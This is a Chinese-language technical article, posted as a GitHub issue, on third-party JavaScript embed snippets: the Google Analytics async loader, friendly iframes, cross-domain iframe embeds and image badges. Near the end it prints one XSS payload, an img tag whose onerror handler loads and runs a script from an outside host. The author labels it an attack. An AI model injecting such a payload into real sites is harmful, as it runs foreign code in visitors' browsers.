Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

第三方Javascript开发系列之投放代码 #18

Open
zmmbreeze opened this issue Aug 31, 2016 · 0 comments
Open

第三方Javascript开发系列之投放代码 #18

zmmbreeze opened this issue Aug 31, 2016 · 0 comments

Comments

@zmmbreeze
Copy link
Owner

zmmbreeze commented Aug 31, 2016

在Web网页开发中有一个有意思的分支,既第三方Javascript脚本的开发。所谓第三方Javascript脚本,就是第三方服务商将自己的服务通过“HTML投放代码”的形式提供给网站使用。由于Javascript的动态特性,一般的第三方服务都会直接或间接的提供Javascript文件给网站页面加载。

tmp1

投放代码与异步加载

本文先从第三方Javascript脚本的重要组成部分“投放代码”讲起。先从一个最例子看起:Google Analytics(以下简称GA),是Google提供的用于网站监测等一系列功能的服务。网站开发者将GA提供的投放代码放到自己网站上需要监测的页面(一般是全站添加)。

<!-- Google Analytics -->
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->

以上是GA压缩过后的投放代码,可能看起来不是很明显。这里美化一下,看起来会容易些,如下:

<!-- Google Analytics -->
<script>
/**
 * Creates a temporary global ga object and loads analytics.js.
 * Parameters o, a, and m are all used internally. They could have been
 * declared using 'var', instead they are declared as parameters to save
 * 4 bytes ('var ').
 *
 * @param {Window}        i The global context object.
 * @param {HTMLDocument}  s The DOM document object.
 * @param {string}        o Must be 'script'.
 * @param {string}        g Protocol relative URL of the analytics.js script.
 * @param {string}        r Global name of analytics object. Defaults to 'ga'.
 * @param {HTMLElement}   a Async script tag.
 * @param {HTMLElement}   m First script tag in document.
 */
(function(i, s, o, g, r, a, m){
  i['GoogleAnalyticsObject'] = r; // Acts as a pointer to support renaming.
  // Creates an initial ga() function.
  // The queued commands will be executed once analytics.js loads.
  i[r] = i[r] || function() {
    (i[r].q = i[r].q || []).push(arguments)
  },
  // Sets the time (as an integer) this tag was executed.
  // Used for timing hits.
  i[r].l = 1 * new Date();
  // Insert the script tag asynchronously.
  // Inserts above current tag to prevent blocking in addition to using the
  // async attribute.
  a = s.createElement(o),
  m = s.getElementsByTagName(o)[0];
  a.async = 1;
  a.src = g;
  m.parentNode.insertBefore(a, m)
})(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga');
// Creates a default tracker with automatic cookie domain configuration.
ga('create', 'UA-XXXXX-Y', 'auto');
// Sends a pageview hit from the tracker just created.
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->

其实做的事情很简单:创建一个script标签,设置其src值为GA的第三方Javascript地址。然后插到页面的DOM树中,再初始化ga的配置。这样来实现浏览器“异步”加载第三方Javascript的功能。之所以采用异步实现,是为了不block掉页面正常的逻辑。这也是在开发第三方脚本时很重要的一个要求:

不影响页面原有功能

投放代码的形式有很多种,上面提到的最常见一些。GA其实还提供了另一种投放代码,如下:

<!-- Google Analytics -->
<script>
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<script async src='//www.google-analytics.com/analytics.js'></script>
<!-- End Google Analytics -->

GA的官方文档里面说明了:如果开发者的网站主要服务的用户较大比例使用高级浏览器(Chrome,IE11及以上)或者移动端浏览器占比较大那么推荐使用这种形式的投放代码。为什么呢?

首先从浏览器的加载执行顺序开始说起。之前已经说到前一种形式是使用JS来动态创建script标签以实现异步加载外链的JS代码,这样可以不Block掉页面。这是它的巨大优势,但是同时也带来了一个劣势。

<link href="http://example.com/test.css?rtt=2" rel="stylesheet">
<!-- body 内容 -->
<script>
    var script = document.createElement('script');
    script.src = "http://example.com/test.js?rtt=1&a";
    document.getElementsByTagName('head')[0].appendChild(script);
</script>

<script>
    var script = document.createElement('script');
    script.src = "http://example.com/test.js?rtt=1&b";
    document.getElementsByTagName('head')[0].appendChild(script);
</script>

上述代码中动态加载两份不同的Javascript代码,虽然使用了异步加载Trick,但是实际浏览器下载的过程是这样的:

tmp2

因为Javascript可以操作CSSOM,所以浏览器在加载Javascript的时候需要等到CSS完全加载解析完毕之后才能执行 script 标签中的Javascript。再看下面的代码:

<link href="http://example.com/test.css?rtt=2" rel="stylesheet">
<!-- body 内容 -->
<script src="http://example.com/test.js?rtt=1&a"></script>
<script src="http://example.com/test.js?rtt=1&b" ></script>

上述代码,浏览器是并行下载CSS文件和Javascript文件的,如下图:

tmp3

现代浏览器(包括 IE8/9 和 Android 2.3/2.2)会预解析查找可以下载的外部文件,并行下载并保持执行不变。不过浏览器无法通过解析HTML来识别动态创建的外链JS地址,所以也无法预下载它们。同时现代浏览器提供了async属性,浏览器会异步的加载async的外链script标签,不会block掉页面(但不保证执行顺序)。这就同时享受到了预下载和异步加载两个福利,带来巨大的性能提升。所以对于使用现代浏览器用户多的网站更推荐使用这种方式。

静态与动态

大部分第三方服务是使用CDN来承载自己的外链JS脚本,比如GA。也有一部分是使用动态server(例如PHP服务器)来生成外链的JS脚本,它的优势在于针对不同的开发者提供不同的代码,免去了初始个性化数据的获取请求。例如:

<script src="http://thirdsparty.com/service.js?userid=1234567 />

服务器会根据userid来生成专供指定开发者网站的代码。这些代码里面通常带有其个性化的配置数据,这样减少了一次配置数据的请求,大大提前了代码执行的时间点。

当然这样也是有缺点的,最重要的一点就是比较难利用CDN加速。大部分CDN通常根据文件名来缓存静态文件,即使把Javascript脚本改成“service_1234567.js”的形式缓存到CDN上,最后也会因为文件太多导致脚本更新困难的问题。

除此之外,有些开发者因为安全隐私等原因喜欢将Javascript脚本放在自己的服务器上,然后手动更新。这种情况,动态服务器生成的脚本就比较难满足这个小众需求了。

另外因为CDN不能使用,所以当动态服务器不稳定时,容易导致加载javascript脚本的时间特别长。虽然可以使用异步加载,但是浏览器在加载东西的时候左上角还是会出现loading。普通用户可以感知到页面还没有加载完成。这会让用户很困惑:“页面都已经展现,可为什么浏览器还在展现,到底在做什么请求呢?”

甚至会影响到网站本身的业务。因为单个浏览器标签同时下载的连接数有限制,导致其他网页原本的请求被Block掉。

Friendly Iframe

为了解决这个问题,meebo的工程师们想到了一个用Friendly Iframe来解决js加载时候的问题。所谓Friendly Iframe即是iframe的domian和其所在主页面的domain是相同的。例子如下:

(function(url){
  // 第一部分
  var dom,doc,where,iframe = document.createElement('iframe');
  iframe.src = "javascript:false";
  iframe.title = ""; iframe.role="presentation";  // a11y
  (iframe.frameElement || iframe).style.cssText = "width: 0; height: 0; border: 0";
  where = document.getElementsByTagName('script');
  where = where[where.length - 1];
  where.parentNode.insertBefore(iframe, where);

  // 第二部分
  try {
    doc = iframe.contentWindow.document;
  } catch(e) {
    // IE下如果主页面修改过document.domain,那么访问用js创建的匿名iframe会发生跨域问题,必须通过js伪协议修改iframe内部的domain
    dom = document.domain;
    iframe.src="javascript:var d=document.open();d.domain='"+dom+"';void(0);";
    doc = iframe.contentWindow.document;
  }
  doc.open()._l = function() {
    var js = this.createElement("script");
    if(dom) this.domain = dom;
    js.id = "js-iframe-async";
    js.src = url;
    this.body.appendChild(js);
  };
  doc.write('<body onload="document._l();">');
  doc.close();
})('http://some.site.com/script.js');

上述代码分为两个部分:

  1. 创建了一个隐藏的Friendly Iframe然后插入到主页面中
  2. 在iframe onload之后加载javascript脚本

这样加载Javascript,浏览器就不会出现loading,提升普通用户的体验。当然这还有一个附带的好处,第三方的Javascript代码在独立的iframe中运行,不会与主页面中的JS相互干扰。毕竟即使现在还是有不少小众网站会选择扩展Native对象的方法。作者本人就遇到过有网站开发者修改Array.prototype.push方法的情况。

当然这有方法还是有缺陷的:投放代码本身太过复杂,网页开发者在实际使用时容易有问题。个人推荐的做法是:如何加载是网站开发者来决定的事情,第三方Javascript脚本应该要支持能想得到的各种奇技淫巧。美国互动广告局(The Interactive Advertising Bureau,简称IAB)提出过一个异步加载广告代码的Best Practice。里面提到了用变量 inDapIF 作为标志,提示Javascript脚本在动态iframe内部执行。所以我们可以用如下方法来判断:

var GLOBAL = window;
if (window.parent !== window && window['inDapIF']) {
    GLOBAL = window.parent;
}

// 使用GLOBAL替代window
// TODO

其他类型的投放代码

有些第三方服务不需要直接获取页面的数据,它们只需要有展示自己内容的区域即可,比如:

<iframe height='300' scrolling='no' src='//codepen.io/zmmbreeze/embed/vLbpa/?height=300&theme-id=20219&default-tab=css,result&embed-version=2' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'>See the Pen <a href='http://codepen.io/zmmbreeze/pen/vLbpa/'>DOWN-TO-THE-LINE control for radical web typography</a> by mzhou (<a href='http://codepen.io/zmmbreeze'>@zmmbreeze</a>) on <a href='http://codepen.io'>CodePen</a>.
</iframe>

因为使用了不同域名下的iframe,所以是在隔离环境内运行第三方代码。这样第三方代码就不会和开发者站点的代码冲突。而且因为域名不同,天然提供安全性的保障,第三方代码不能获取或修改开发者站点的重要信息。缺点也很明显:就是能做的事情仅限于iframe内部。比较适合不需要访问页面就可以提供内容的需求。

自从Web 2.0开始,UGC类型的网站越来越多,用户可以自主黏贴文字甚至是HTML代码到网站中去,例如社交网站的简介。所以有的时候第三方服务的使用者并直接是网站开发者,而是网站的用户。网站为了安全一般不会让用户直接贴script表情或者是iframe等特殊HTML标签。所以有些第三方服务提供的投放代码仅仅是一个img标签,将需要展示的内容放在图片中。如果你经常浏览github,你会发现有个集成测试的工具叫做Travis CI。它提供了一段投放代码用于展示开源库的测试状态,如下:

<img src="https://travis-ci.org/zmmbreeze/lining.js.svg?branch=master"/>

至此头脑较为发散的同学可能已经想到如下的投放代码了:

<img src="#" onerror="(function (d) {var s = d.createElement('script');s.src='http://bqq.gtimg.com/da/i.js';d.getElementsByTagName('head')[0].appendChild(s);})(document)" />

虽然这是一段典型的XSS攻击代码,但是它也可以称得上是一种投放代码......

最后说明下:这里没有提到用new Image().src方式(或者其他类似手段)来达到预先异步下载Javascript文件的目的,然后利用了浏览器缓存再次实际下载Javascript文件的时候就直接从缓存里面拉取的方式。因为第三方的Javascript代码基本为了保持文件及时更新,都不会设置很长的缓存,甚至没有缓存。所以这些方法不再讨论的行列里面。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant